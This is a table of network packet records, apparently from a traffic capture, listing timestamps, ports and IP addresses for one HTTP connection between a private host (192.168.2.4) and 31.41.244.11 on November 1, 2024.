Nov 1, 2024 10:57:10.146220922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146230936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146260023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146301031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146313906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146323919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146336079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146353006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146354914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146367073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146379948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146394968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146398067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146409988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146420002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146420956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146441936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146465063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146466017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146476984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146502018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146529913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146591902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146603107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146615982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146636009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146646976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146651030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146657944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146675110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146783113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146810055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146826982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146837950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146847963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146857023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146867037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146878004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146886110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146920919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146951914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146991968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146996021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147036076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147064924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147075891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147088051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147110939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147121906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147133112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147139072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147147894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147161007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147164106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147171974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147190094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147198915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147205114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147214890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147228956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147248030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147255898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147275925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147289991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147309065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147329092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147340059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147366047 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147378922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147413015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147423983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147433996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147461891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147485971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147488117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147505999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147520065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147545099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147582054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147612095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147620916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147623062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147653103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147661924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147666931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147707939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147870064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147912025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147912979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147924900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147958994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.147974968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.147990942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148000002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148010015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148035049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148046970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148082018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148093939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148102999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148113012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148123980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148123980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148143053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148171902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148175001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148185968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148195982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148209095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148217916 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148219109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148231030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148238897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148258924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148292065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148426056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148442984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148452997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148469925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148500919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148525000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148535967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148545027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148555994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148566008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148576021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148591042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148612022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148647070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148658037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148667097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148677111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148688078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148689032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148715019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148731947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148761988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148773909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148782969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148797989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148811102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148838043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148859978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148870945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148880005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148907900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148920059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148938894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148950100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148961067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148977995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148988008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.148988008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.148998976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149012089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149019957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149034023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149045944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149060011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149064064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149077892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149089098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149089098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149099112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149102926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149115086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149118900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149126053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149131060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149156094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149183035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149199963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149210930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149219036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149228096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149239063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149239063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149262905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149292946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149293900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149333000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149333954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149346113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149374008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149405003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149415016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149430990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149440050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149446964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149475098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149476051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149487972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149512053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149537086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149580956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149591923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149601936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149614096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149626970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149647951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.149656057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.149682999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.169311047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.169325113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.169414043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.190499067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.190537930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.190579891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.190603018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236048937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236076117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236084938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236120939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236124992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236129999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236141920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236152887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236154079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236202002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236254930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236265898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236299992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236398935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236407995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236412048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236421108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236454010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236474037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236505032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236515999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236525059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236535072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236553907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236586094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236740112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236748934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236753941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236763000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236793041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236803055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236852884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236867905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236876965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236911058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.236969948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236979961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.236989021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237000942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237011909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237014055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237031937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237056017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237143993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237154007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237183094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237201929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237222910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237232924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237245083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237265110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237267971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237277031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237289906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237297058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237313986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237338066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237462997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237504959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237526894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237539053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237566948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237576962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237591982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237601995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237612963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237623930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237633944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237644911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237670898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237916946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237929106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237941027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.237962008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.237987041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238008976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238020897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238032103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238044024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238053083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238075972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238132000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238143921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238154888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238167048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238172054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238179922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238189936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238199949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238203049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238215923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238224030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238236904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238259077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238270044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238270998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238281965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238301992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238313913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238316059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238327026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238334894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238347054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238352060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238377094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238403082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238436937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238445997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238455057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238465071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238475084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.238487005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238518000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.238986015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239033937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239042044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239064932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239077091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239078045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239087105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239119053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239142895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239159107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239170074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239177942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239186049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239208937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239233017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239341021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239351988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239361048 CET	80	49820	31.41.244.11	192.168.2.4
